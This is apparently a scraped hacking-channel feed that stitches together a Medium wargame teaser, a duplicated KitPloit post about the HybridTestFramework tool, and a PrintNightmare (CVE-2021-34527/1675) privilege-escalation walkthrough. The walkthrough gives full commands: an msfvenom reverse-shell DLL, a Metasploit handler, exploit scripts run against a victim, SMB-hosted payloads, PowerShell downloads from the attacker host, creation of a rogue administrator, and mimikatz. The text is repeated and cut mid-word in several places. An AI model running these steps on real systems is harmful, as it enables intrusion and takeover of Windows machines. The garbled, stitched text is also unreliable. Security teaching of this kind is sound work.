Hacking on Medium
Leviathan — OverTheWire Wargame — Writeup

https://cdn-images-1.medium.com/max/1594/1*oEC3N5yv2JxhX806Rk0E9w.png
Leviathan is a wargame offered by OverTheWire. It ‘doesn’t require any knowledge about programming — just a bit of common sense and some…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
HybridTestFramework - End To End Testing Of Web, API And Security

https://blogger.googleusercontent.com/img/a/AVvXsEjYUvrCRFei8rhlyXAkeX9febuHiZJP9KkvmzP2xrp3Puma_BO2P7hvk0c3Y_lf-JmcDaIzjdR3_E4kCRlG0LYTe7x2dxjF9ajJ4I3c4XFXalm8lhaPyBNdNxyhiklwxt-EJS1DPYbsRNW3Q2QItJfY8zTaLqJ1FTj34QwpBldzYu3gzfNr4fugvN7I=w640-h416 Full-fledged WEB, API and Security testing framework using selenium,ZAP OWASP proxy and rest-assuredSupported PlatformsThis framework supports WebUi automation across a variety of browsers like Chrome, Firefox, IE, no only limited to this but extended to test rest api, security and visual testing. Capabilities* Cross browser testing support
* Added browserstack support for CrossBrowser testing
* Running tests in docker containers selenium grid
* Running tests in AWS DeviceFarm selenium grid
* Running tests in selenium server in docker containers
* Security testing using OWASP, running in docker container
* Api testing support using RestAssured
* Visual regression testing using percy.io
* Accessibility testing using axe-selenium
* Stubbed api testing using WireMock
* Can send logs to ElasticSearch for kibana dashboard visualization
* Database testing support
* Kafka testing support
* Kubernetes support Setup & Tools* Install intellij https://www.jetbrains.com/idea/download/
* Install docker desktop https://www.docker.com/products/docker-desktop
* Java JDK_11 https://adoptopenjdk.net/
* Gradle https://gradle.org/next-steps/?version=6.8.3&format=bin
* Allure https://github.com/allure-framework/allure2/archive/2.17.2.zip
* Set Environment variables
* JAVA_HOME: Pointing to the Java SDK folder\bin
* GRADLE_HOME: Pointing to Gradle directory\bin.
* ALLURE_HOME: Pointing to allure directory\bin. Getting Started$ git clone
$ cd
$ import project from intellij as a gradle project
$ gradle clean
$ gradle build
$ gradle task E2E
$ gradle allureReport
$ gradle allureServeWrite your first user journeyCreate new class and name as the TC00*_E2E_TEST-***

* Provide jira link in @Link
* Provide all the api components as @Feature
* Provide test severity and description
* Write test
* Use CatchBlock in try/catch section Spin-up chrome, firefox, selenium hub and OWASP proxy server$ docker-compose up -dComplete infrastructure creation for local run$ $ docker-compose -f docker-compose-infra up -dSpin-up four additional node-chrome/firefox instances linked to the hub$ docker-compose scale chrome=5
$ docker-compose scale firefox=5Spin-up kafka instances$ docker-compose -f docker-compose-kafka.yml up
$ docker-compose -f docker-compose-kafka.yml down --rmi allSpin-up selenium hub in kubernetes instance$ kubectl apply -f selenium-k8s-deploy-svc.yaml
$ kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0/aio/deploy/recommended.yaml
$ kubectl proxy
$ kubectl describe secret -n kube-system | grep deployment -A 12
## To delete deployments
$ kubectl delete deployment selenium-node-firefox
$ kubectl delete deployment selenium-node-chrome
$ kubectl delete deployment selenium-hubnavigate to http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/https://blogger.googleusercontent.com/img/a/AVvXsEiT9QGW5IGy4viWX76GSDcpRoe4n0Z6-Y1YnzBICGJwpIPF60_Ulmq9Z23eUBDOtecHU8Efp90gMCSSWWc6rKjbuI2bKXFB_OL47T81eH6bhMZIPXJ62BDzpp9XOF9NYjoiUGybv-VnlTh3TzwPJ_Gwhe_iza8ys_jiMeqr97JBv6d1gDbH7vadZsDA=w640-h328 Execution Gifhttps://blogger.googleusercontent.com/img/a/AVvXsEhMce1R4wmz0q3Tml3Gx8DKaOCYVFykhWZkvkvpXwKyXU8fxh3GjcbEsoGMrvSNECoSdWT6f4Unm8yJjotAwcDFzNdGWmKpVKzaWVPELSjJ7fnNuPr_76MaXseTGHPYHKp4WhoE-RvrW431sTvO828KTdBfpKpvRxIjIH2lkUPVK7[...]

___________________________
@hacking_Attack
@Hacking_Video

Wp6GCMuJhmxT-o=w640-h480 Download HybridTestFramework

___________________________
@hacking_Attack
@Hacking_Video

HybridTestFramework - End To End Testing Of Web, API And Security
http://www.kitploit.com/2022/02/hybridtestframework-end-to-end-testing.html

___________________________
@hacking_Attack
@Hacking_Video

Full-fledged WEB, API and Security testing framework (https://www.kitploit.com/search/label/Testing%20Framework) using selenium,ZAP OWASP proxy and rest-assured
Supported Platforms This framework supports WebUi automation (https://www.kitploit.com/search/label/Automation) across a variety of browsers like Chrome, Firefox, IE, no only limited to this but extended to test rest api, security and visual testing.
Capabilities Cross browser testing support Added browserstack support for CrossBrowser testing Running tests in docker containers selenium grid Running tests in AWS DeviceFarm selenium grid Running tests in selenium server in docker containers Security testing using OWASP, running in docker container Api testing support using RestAssured Visual regression testing using percy.io Accessibility testing using axe-selenium Stubbed api testing (https://www.kitploit.com/search/label/API%20Testing) using WireMock Can send logs to ElasticSearch for kibana dashboard visualization Database testing support Kafka testing support Kubernetes support Setup & Tools Install intellij https://www.jetbrains.com/idea/download/ Install docker desktop https://www.docker.com/products/docker-desktop Java JDK_11
https://adoptopenjdk.net/ Gradle https://gradle.org/next-steps/?version=6.8.3&format=bin Allure https://github.com/allure-framework/allure2/archive/2.17.2.zip Set Environment variables JAVA_HOME: Pointing to the Java SDK folder\bin GRADLE_HOME: Pointing to Gradle directory\bin. ALLURE_HOME: Pointing to allure directory\bin. Getting Started $ git clone
$ cd
$ import project from intellij as a gradle project
$ gradle clean
$ gradle build
$ gradle task E2E
$ gradle allureReport
$ gradle allureServe Write your first user journey Create new class and name as the TC00*_E2E_TEST-*** Provide jira link in @Link Provide all the api components as @Feature Provide test severity and description Write test Use CatchBlock in try/catch section Spin-up chrome, firefox, selenium hub and OWASP proxy server $ docker-compose up -d Complete infrastructure (https://www.kitploit.com/search/label/Infrastructure) creation for local run $ $ docker-compose -f docker-compose-infra up -d Spin-up four additional node-chrome/firefox instances linked to the hub $ docker-compose scale chrome=5
$ docker-compose scale firefox=5 Spin-up kafka instances $ docker-compose -f docker-compose-kafka.yml up
$ docker-compose -f docker-compose-kafka.yml down --rmi all Spin-up selenium hub in kubernetes instance $ kubectl apply -f selenium-k8s-deploy-svc.yaml
$ kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0/aio/deploy/recommended.yaml
$ kubectl proxy
$ kubectl describe secret -n kube-system | grep deployment -A 12
## To delete deployments
$ kubectl delete deployment selenium-node-firefox
$ kubectl delete deployment selenium-node-chrome
$ kubectl delete deployment selenium-hub navigate to http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/

___________________________
@hacking_Attack
@Hacking_Video

Execution Gif

___________________________
@hacking_Attack
@Hacking_Video

Download HybridTestFramework (https://github.com/dipjyotimetia/HybridTestFramework)

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Windows Privilege Escalation: PrintNightmare

IntroductionPrint Spooler has been on researcher’s radar ever since Stuxnet worm used print spooler’s privilege escalation vulnerability to spread through the network in nuclear enrichment centrifuges of Iran and infected more than 45000 networks. PrintNightmare is the common name given to a Remote Code Execution vulnerability in the Print Spooler service (spoolsv.exe) in Microsoft Windows Operating Systems. The vulnerability was assigned CVE-2021-34527. Initially, it was thought of as a Local Privilege Escalation (LPE) and assigned CVE-2021-1675. Immediate patches for the LPE were released in June 2021 and was marked low severity. About 2 weeks later, Microsoft changed the low severity status of LPE to severe as it was found that patches were bypassed and Remote Code Execution achieved CVE-2021-34527 assigned. There was a controversy after a misunderstanding between the authors and Microsoft where the RCE exploit got released on GitHub before the patches, making it a 0-day vulnerability. However, it was immediately rolled back. In this article, we will be focusing on Privilege Escalation using this Print Spooler vulnerability. The traction it got in 2021 made it vulnerability of the year.Related CVEs: Remote Code ExecutionSeverity HighBase CVSS Score9.3Versions AffectedWindows_10:20h2, Windows_10:21h1, Windows_10:1607,CVE-2021-1675Local Privilege EscalationSeverity HighBase CVSS Score9.3Versions AffectedWindows_10:20h2, Windows_10:21h1, Windows_10:1607,Table of Content· Print Spooler Basics· Vulnerability Summary· Vulnerability Flow· Machine IPs· Method 1 - PrintNightmare RCE using Python· Method 2 - PrintNightmare LPE using Powershell· Method 3 - Printnightmare LPE using Mimikatz· Patch Status· ConclusionPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:___________________________
@hacking_Attack
@Hacking_Video

des the RPC stubs required to access the server.Vulnerability SummaryVulnerability FlowTo understand the vulnerability flow, lets understand working of RpcAddPrinterDriver first. The steps are as follows:Security Check: When the client will call this function, system checks if the client has “SeLoadDriverPrivilege” which is by default given to administrators group.Bypassing Security Check: AFWU mentioned in his original writeup that a user can supply the following parameters in the spooler service:​ pDataFile =A.dllSpooler service will copy A,B,C DLL files in C:\Windows\System32\spool\drivers\x64\3\newand then load them to C:\Windows\System32\spool\drivers\x64\3He further elaborates that for pDataFile and pDriverPath there is a check in Windows that these DLLs can’t be a UNC path. But pConfigFile can be a UNC path and therefore an attacker can do the following:​ pDataFile =A.dllWhich in theory would force Windows to load evil.dll from an attacker’s share.C:\Windows\System32\spool\drivers\x64\3\evil.dllC:\Windows\System32\spool\drivers\x64\3\old\1\C:\Windows\System32\spool\drivers\x64\3\old\1\evil.dll pathMachine IPsThroughout the demo, following IP addresses have been taken:Attacker IP: 192.168.1.2This is the method pertaining to CVE-2021-34527 (remote code executio[...]

___________________________
@hacking_Attack
@Hacking_Video

n as admin). You can find Cube0x0’s official PoC here. We will be using a forked version here.msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f dll -o evil.dllhttps://blogger.googleusercontent.com/img/a/AVvXsEhuPKz1-qkbiH6YyS4YRq1sD7zWPg-ZnDz_n1Ryo4n7LkufoWoodkoYzm-RW8Ub9JG40lNsWTbUBGNZ7h43xjkCVI6PRMSrkKscjs2ulg64-W4dDW5Am4NdSuHoZEdsQD-7EYIfcZoDFw-LkBSZ06PUjnRmhv2qvQIBCeUgjqoMBRivPWXvme-F7viOUA=s16000 Now, we can check if the target is vulnerable or not using metasploit’s auxiliary module. Here, I have entered a random path for DLL_PATH argument as I am not running the exploit, I just have to scan. In our testing, we found Metasploit’s printnightmare to be unreliable and hence, we are not showing this technique here. You can test it on your own and see if it works for you though. This run confirmed that victim is vulnerable to printnightmare.use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
set RHOSTS 192.168.1.190
set SMBUser ignite
set SMBPass 123
set DLL_PATH /
exploithttps://blogger.googleusercontent.com/img/a/AVvXsEglBTn-7Q406EupEG4rqdccohxaMM0taLtCcXX9Po0rGiAMpm7HwuHGPRsd8LPYPWb2iHCp_tuZG8toHlIyWPg1Xz-LPDph7vleOT01kFAuLQuQEbQtYYAKeGsp-utOY8a3ZoQRZag3Sq6QxjZpbOvj96HTPkxzziu7N8O7j52BidybdgsB17MOjlZzHg=s16000 We now start a handler beforehand prior to executing our DLL file using the exploit.use multi/handlerhttps://blogger.googleusercontent.com/img/a/AVvXsEjvPWljeXZmeJEaqnmMAsaePtns1u2DeIen1YqrHn-kdJtXCHqE6EvFYeGSwqiSY7xg9nnKIypPRi2HbiowP7YnqZa_VwDNIdCVnlluxngjqDRNBBAwSK5mPACQibk05M745hPGDg9Sur6-DTrUvJVPi_RhHiCQipAuXRd4vf-cKdRFRl3-4BkqgYgQhw=s16000 Now, we need to clone the github repo. We are using a forked version of Cube0x0’s original exploit.git clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527https://blogger.googleusercontent.com/img/a/AVvXsEhpxbZHqM3IylJSg07ByT9OInKzXK7VUHbqDQ-pIQNrjJ7HKiq6KVo0jve9tE-8u1Raw18sZM4l6i7C0bKhUbraV2wrRgBzEmBR_hcTvoY73Qy61wQ_4l286v4OEAskw6YoFLuLQuWmV77of4w5YXazdYKCZVNlYCF0lFAmj4ZEv9oaoRoqPdMcnv8oYg=s16000 Alright, one last step remaining is to host the malicious DLL in our SAMBA server. You can set up a samba server manually in Kali, use Windows host to host this or the easier approach is to use impacket’s smbserver.python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /roothttps://blogger.googleusercontent.com/img/a/AVvXsEhkRc_vf28ZdA73Tu3A8KMTQdOlBxV6DJ4tI-v-Epix0kXjIVjwHLbDD7aRu0BvYXs33W9vwHThm5S5jmUCT2qh2h01sedwZaIAcgsUoRY-j9SeQsDzjpay713OC_YyZX3OdcJ2UR-K8uRz_HYiPFXWB_dUsYmOKSar4blOBh56eyTLZFopy9-Oem3Lkg=s16000 With everything prepped up and ready, we can launch the RCE exploit. The execution is simple./CVE-2021-34527.py ignite:123@192.168.1.190 '\\192.168.1.2\share\evil.dll'https://blogger.googleusercontent.com/img/a/AVvXsEiLMxAIFHYoDfNFX1Q7hFTX_xewYLi1t8X-ubA7a5mo1OEO8dDkslQVBkL6ue4IYfKYRgTwGZgmBv9NmO8_JyGtPUl1ra5rfsGppXNLy70jypzjqPsAEvajHthVKQ304TkGS53XxhHkhwa3lUSf8yomPpaRW99v7s4DFTV-kZK_5NTUMJBbCYYZHVXxUA=s16000 As you can see, the victim has successfully executed our DLL file and returned us an administrator level session on the victim!___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Windows Privilege Escalation: PrintNightmare

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Windows Privilege Escalation: PrintNightmare

IntroductionPrint Spooler has been on researcher’s radar ever since Stuxnet worm used print spooler’s privilege escalation vulnerability to spread through the network in nuclear enrichment centrifuges of Iran and infected more than 45000 networks. PrintNightmare is the common name given to a Remote Code Execution vulnerability in the Print Spooler service (spoolsv.exe) in Microsoft Windows Operating Systems. The vulnerability was assigned CVE-2021-34527. Initially, it was thought of as a Local Privilege Escalation (LPE) and assigned CVE-2021-1675. Immediate patches for the LPE were released in June 2021 and was marked low severity. About 2 weeks later, Microsoft changed the low severity status of LPE to severe as it was found that patches were bypassed and Remote Code Execution achieved CVE-2021-34527 assigned. There was a controversy after a misunderstanding between the authors and Microsoft where the RCE exploit got released on GitHub before the patches, making it a 0-day vulnerability. However, it was immediately rolled back. In this article, we will be focusing on Privilege Escalation using this Print Spooler vulnerability. The traction it got in 2021 made it vulnerability of the year.

Related CVEs: CVE-2021-34527

Vulnerability Type     Remote Code Execution

Severity High

Base CVSS Score        9.3

Versions Affected       Windows_10:20h2, Windows_10:21h1, Windows_10:1607,

Windows_10:1809, Windows_10:1909, Windows_10:2004,

Windows_7sp1, Windows_8.1, Windows_rt_8.1,

Windows_Server_2008, Windows_Server_2008,

Windows_Server_2012, Windows_Server_2012:r2,

Windows_Server_2016, Windows_Server_2016:20h2,

Windows_Server_2016:2004, Windows_Server_2019 CVE-2021-1675

Vulnerability Type     Local Privilege Escalation

Severity High

Base CVSS Score        9.3

Versions Affected       Windows_10:20h2, Windows_10:21h1, Windows_10:1607,

Windows_10:1809, Windows_10:1909, Windows_10:2004,

Windows_7sp1, Windows_8.1, Windows_rt_8.1,

Windows_Server_2008, Windows_Server_2008,

Windows_Server_2012, Windows_Server_2012:r2,

Windows_Server_2016, Windows_Server_2016:20h2,

Windows_Server_2016:2004, Windows_Server_2019

Related Advisories:

* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
* https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34527
* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675 Table of Content* Print Spooler Basics
* Vulnerability Summary
* Vulnerability Flow
* Machine IPs
* Method 1 – PrintNightmare RCE using Python
* Method 2 – PrintNightmare LPE using Powershell
* Method 3 – Printnightmare LPE using Mimikatz
* Patch Status
* Conclusion Print Spooler BasicsPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:

https://blogger.googleusercontent.com/img/a/AVvXsEgKK9SRwPXWdtJgPhf5s-QXJvGPeLuG0FaKQG4Pkd4xlMlzDpVW1k4e8KcFndBQ6aeV4In8oKdo_MZxVzbixWr1OBuvLvmGqCUXYa5I-Xc1np20mMwFCJVFs0WA1DCxk9ltFmkJFfnDJow9VOjYVEx6LEOoiabT1tnDt_nz9RGy8QZs-Nl7SrgmL6i9dg=s16000

Application: The print application creates a print job by calling Graphics Device Interface (GDI).

GDI: GDI includes both user-mode and kernel-mode components for graphics support.

winspool.drv is the interface that talks to the spooler. It provides the RPC stubs required to access the server.

spoolsv.exe is the spooler’s API server. This module implements message routing to print provider with the help of router (spoolss.dll)

spoolss.dll determines which print provider to call, based on a printer name and passes function call to the correct provider. Vulnerability SummaryMS-RPRN protocol (Print System Remote Proto[...]

___________________________
@hacking_Attack
@Hacking_Video

col) has a method RpcAddPrinterDriverEx() which allows remote driver installation by users with the SeLoadDriverPrivilege right. This right is only with users in Administrator group. So, the exploit tries to bypass this authentication in RpcAddPrinterDriver. Technique given by afwu. Cube0x0 tweeted that he was able to achieve the same results by exploiting MS-PAR protocol’s RpcAsyncAddPrinterDriver() method which is similar to RpcAddPrinterDriver and loads drivers remotely. Technique can be found here.

We will use both these techniques in this demonstration article. Vulnerability FlowTo understand the vulnerability flow, lets understand working of RpcAddPrinterDriver first. The steps are as follows:

* Add a Printer Driver to a Server call (RpcAddPrinterDriver)
* Client (Attacker) creates a share with printer driver files accessible
* Client (attacker) crafts an MS-RPRN (Print System Remote Protocol) Driver container which has DRIVER_INFO_2 in it. (basically, these are variables that contain path of DLLs, type of architecture etc.)
* Client (Attacker) calls:
RpcAddPrinterDriver(“Machine IPsThroughout the demo, following IP addresses have been taken:

Attacker IP: 192.168.1.2

Victim IP: 192.168.1.190

Compromised Credentials used: ignite/123 Method 1 – PrintNightmare RCE using PythonThis is the method pertaining to CVE-2021-34527 (remote code execution as admin). You can find Cube0x0’s official PoC here. We will be using a forked version here.

First, we need to create a malicious DLL file which would run as ADMINISTRATOR. We use msfvenom for this.
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f dll -o evil.dll
https://blogger.googleusercontent.com/img/a/AVvXsEhuPKz1-qkbiH6YyS4YRq1sD7zWPg-ZnDz_n1Ryo4n7LkufoWoodkoYzm-RW8Ub9JG40lNsWTbUBGNZ7h43xjkCVI6PRMSrkKscjs2ulg64-W4dDW5Am4NdSuHoZEdsQD-7EYIfcZoDFw-LkBSZ06PUjnRmhv2qvQIBCeUgjqoMBRivPWXvme-F7viOUA=s16000

Now, we can check if the target is vulnerable or not using metasploit’s auxiliary module. Here, I have entered a random path[...]

___________________________
@hacking_Attack
@Hacking_Video

for DLL_PATH argument as I am not running the exploit, I just have to scan. In our testing, we found Metasploit’s printnightmare to be unreliable and hence, we are not showing this technique here. You can test it on your own and see if it works for you though. This run confirmed that victim is vulnerable to printnightmare.
use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
set RHOSTS 192.168.1.190
set SMBUser ignite
set SMBPass 123
set DLL_PATH /
exploit
https://blogger.googleusercontent.com/img/a/AVvXsEglBTn-7Q406EupEG4rqdccohxaMM0taLtCcXX9Po0rGiAMpm7HwuHGPRsd8LPYPWb2iHCp_tuZG8toHlIyWPg1Xz-LPDph7vleOT01kFAuLQuQEbQtYYAKeGsp-utOY8a3ZoQRZag3Sq6QxjZpbOvj96HTPkxzziu7N8O7j52BidybdgsB17MOjlZzHg=s16000

We now start a handler beforehand prior to executing our DLL file using the exploit.
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.2
set LPORT 4444
exploit
https://blogger.googleusercontent.com/img/a/AVvXsEjvPWljeXZmeJEaqnmMAsaePtns1u2DeIen1YqrHn-kdJtXCHqE6EvFYeGSwqiSY7xg9nnKIypPRi2HbiowP7YnqZa_VwDNIdCVnlluxngjqDRNBBAwSK5mPACQibk05M745hPGDg9Sur6-DTrUvJVPi_RhHiCQipAuXRd4vf-cKdRFRl3-4BkqgYgQhw=s16000

Now, we need to clone the github repo. We are using a forked version of Cube0x0’s original exploit.
git clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527
cd PrintNightmare-CVE-2021-34527
chmod 777 CVE-2021-34527.py
https://blogger.googleusercontent.com/img/a/AVvXsEhpxbZHqM3IylJSg07ByT9OInKzXK7VUHbqDQ-pIQNrjJ7HKiq6KVo0jve9tE-8u1Raw18sZM4l6i7C0bKhUbraV2wrRgBzEmBR_hcTvoY73Qy61wQ_4l286v4OEAskw6YoFLuLQuWmV77of4w5YXazdYKCZVNlYCF0lFAmj4ZEv9oaoRoqPdMcnv8oYg=s16000

Alright, one last step remaining is to host the malicious DLL in our SAMBA server. You can set up a samba server manually in Kali, use Windows host to host this or the easier approach is to use impacket’s smbserver.

Add the share name you want (in my case, “share” is used) and then supply the path (in my case, /root) where you have saved the malicious DLL.
python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root
https://blogger.googleusercontent.com/img/a/AVvXsEhkRc_vf28ZdA73Tu3A8KMTQdOlBxV6DJ4tI-v-Epix0kXjIVjwHLbDD7aRu0BvYXs33W9vwHThm5S5jmUCT2qh2h01sedwZaIAcgsUoRY-j9SeQsDzjpay713OC_YyZX3OdcJ2UR-K8uRz_HYiPFXWB_dUsYmOKSar4blOBh56eyTLZFopy9-Oem3Lkg=s16000

With everything prepped up and ready, we can launch the RCE exploit. The execution is simple

./exploit.py credentials@IP ‘UNC_PATH of DLL hosted’

Here, we just launched a share on impacket, we will use that as the UNC path
./CVE-2021-34527.py ignite:123@192.168.1.190 '\\192.168.1.2\share\evil.dll'
https://blogger.googleusercontent.com/img/a/AVvXsEiLMxAIFHYoDfNFX1Q7hFTX_xewYLi1t8X-ubA7a5mo1OEO8dDkslQVBkL6ue4IYfKYRgTwGZgmBv9NmO8_JyGtPUl1ra5rfsGppXNLy70jypzjqPsAEvajHthVKQ304TkGS53XxhHkhwa3lUSf8yomPpaRW99v7s4DFTV-kZK_5NTUMJBbCYYZHVXxUA=s16000

As you can see, the victim has successfully executed our DLL file and returned us an administrator level session on the victim!

https://blogger.googleusercontent.com/img/a/AVvXsEi-cJsoLFCiHhF_mINWMNCwEV-YUSjEGKu_GBfjXsLHyAnzcrQogResom4p7PLFa8zf2xOPyU10IW6SzlkjShspncLP4ln4wP67-WSlSnkfjJ67KUz6YGWjOxrgwjR0CZZtuLS0Lb1XTbSAIMv1ezEWWec4XXSRTXEuCOokJy6wJv8F7QT6-xXW10m5fw=s16000 Method 2 – PrintNightmare LPE using PowershellWe have seen the remote exploit pertaining to CVE 2021-34527. Now, we will see the older local privilege escalation exploit. AFWU had implemented the original exploit in C plus plus while Caleb Stewart and John Hammond created a working PoC in powershell. Unlike the traditional exploit, this version doesn’t need an attacker to create SMB server in order to exploit. Instead of a remote UNC path injection, authors create a standalone DLL in temp directory and do a local UNC path injection.
git clone https://github.com/calebstewart/CVE-2021-1675.git
cd CVE-2021-1675 && ls -al
https://blogger.googleusercontent.com/img/a/AVvXsEioSYbe6pbkGih4ZUifWq[...]

___________________________
@hacking_Attack
@Hacking_Video

FdyzeiMeaOByoi6UxaY1rYpMd-Cl25S3av86e5GqOsBg7QqegONtaIzAnkPy9JGnAeKeX2jHcqkmmKLbJRjFSA34EdOC3rmt-0G-XPjEtqE19Lb7l0AdV0kgxlBiOAe64zjyHg1ZQ38ccDB1MpeJ89gmmS3kLLImaxgxTc6Q=s16000

Now, once the victim is compromised, we can upload this ps1 file in \Users\Public directory using IWR and setting up a python http server in the CVE-2021-1675 directory.
cd CVE-2021-1675
python3 -m http.server 80
powershell wget http://192.168.1.2/CVE-2021-1675.ps1 -O \Users\Public\cve.ps1
cd C:\Users\Public
dir
https://blogger.googleusercontent.com/img/a/AVvXsEhV5QX_bfm1HwRTOt7-bbOEh4acNDeHiLp_mWoZXllcQaBEJgPwv5T4Z1b7XSIcG3ep9FMEZsNAfzjH47LQwg2K9_0H1lsYRhZpHw7u_p3U9LOhy87LSPGlH68kYoELn6EnPkOp7SRsweQFAjeZGvYvz4dTs4abBpB7B3yvZEWR0jeLrQG4DYfb5Kcg-w=s16000

Now, we can execute this ps1 file using powershell. This powershell script will help us in adding a new user in the administrator group using the credentials specified. For that, we need to spawn interactive powershell and Invoke the module like so:
powershell -ep bypass
Import-Module .\cve.ps1
Invoke-Nightmare -NewUser "harsh" -NewPassword "123" -DriverName "PrintMe"
https://blogger.googleusercontent.com/img/a/AVvXsEiMmenFoAuIRtWOt1XV3NPSMyjB_EeKHQW71ycKwtDxuRzCbezsomgzDP1R94z71PIWxMFQc_3ASWzbG_uvlCOqpivVmXj6l8x_Edpg92Qz8KVm203ho0-NcF7TWjmRYSta14levAffd6xUTTXJ2Z0rcaYg3TSknkcLAyLdeGlIxCU7HrLazhl5kWdTcA=s16000

As you can see, the script has made a custom DLL that adds a new user “harsh” with password 123 in admin group and the script has exploited print spool.
net localgroup administrator
https://blogger.googleusercontent.com/img/a/AVvXsEjm476TN7H3YlvqxDa1dYq4BrUhJUHeUM6B7XA05xAhW9XD3aE0yLp9N4Kphis7HZy_mMiO0GazkeL6sRW8vXJm1smajhy1UJwKOhfpIYKwffUrVISRkd7-e7DdOmuktmfeWYDcY4wigV3HDWXtxrUHN1x6BaC3DwQ-yFRfZyJjC7HG3N7TbYjoCFKYTw=s16000

We can confirm this by logging in to the victim using psexec.
python3 psexec.py harsh:123@192.168.1.190
https://blogger.googleusercontent.com/img/a/AVvXsEhXwS2ULWBm-dVWr2ZZ3fMPCZ3mtvMXMV7a7QNievbmtA0uuvGiuDwjnNBKSSdSaEsT45xbtNXUq6QAmuzftzuPcTny1CGqzUmRYjtmw_tz9EeKiKWe_mk0bn9nyn_XJwTlYM_unfZp6jQtDCQiqz6B0Gym7uUDmolyB3My1fSKoiwLRzCtiZv7HqC3tA=s16000

We are able to log in with the credentials and can confirm using net user command that harsh is infact a member of administrators now. Method 3 – Printnightmare LPE using MimikatzWhen the PoC came on the internet, a new mimikatz plugin got added as a ritual in the misc section (misc::printnightmare). To exploit using mimikatz, we will use our existing DLL file “evil.dll” and also, we need our SMBserver running on the existing configuration. Now, we will download mimikatz.exe on our kali and start python HTTP server.
python3 -m http.server 80
powershell wget http://192.168.1.2/mimikatz.exe -O \users\Public\mimikatz.exe
misc::printnightmare /library:\\192.168.1.2\share\evil.dll /authuser:ignite /authpassword:123 /try:50
https://blogger.googleusercontent.com/img/a/AVvXsEjbPSehsyW5w9-_styKI9fjXjcQxml03A699x7Tvx4YipBMDT7pMyQREXWO81mhpDscJx50ZNFPgXa7lr08Rqxq1aOIpFFUubIAb3-xuhKE_q2kQ-jI8i6_NVEn25Bxe_-E38iiqygysu5p4qKMBTIFT2SnrVpgbGcRmkIHgK0bJhrlpV1E7RkDsSRFcw=s16000

As mimikatz has confirmed the execution has been successful. It throws an exception (probably because of some characters in the DLL) but the DLL has worked anyway and a reverse shell has been received on multi/handler.

https://blogger.googleusercontent.com/img/a/AVvXsEj6yzSnwBZy4M3Cxais8__2qdWrLRnohzaf0NvIni5rdqA4cLYNA4W5MzUtE1sx0_pRvvoxn7PUFH8EQMCrb0DXjnxN7lk797FjBg91YrAD4no7xhXRX_PadTQjUo6qp8QW193t6Rh79vebv1FTDKv68lyjf5_3WjtuEeQEWg-AbldS7P_DJ2YbtPuMyw=s16000

Make sure to set up a handler on Metasploit before running this command. If everything goes right, you shall see a reverse shell!

And thus, we have conducted privilege escalation by exploiting PrintNightmare vulnerability. Patch StatusMicrosoft released out of band patches to deal with this vulnerability which can be found on the MSRC bulletin adv[...]

___________________________
@hacking_Attack
@Hacking_Video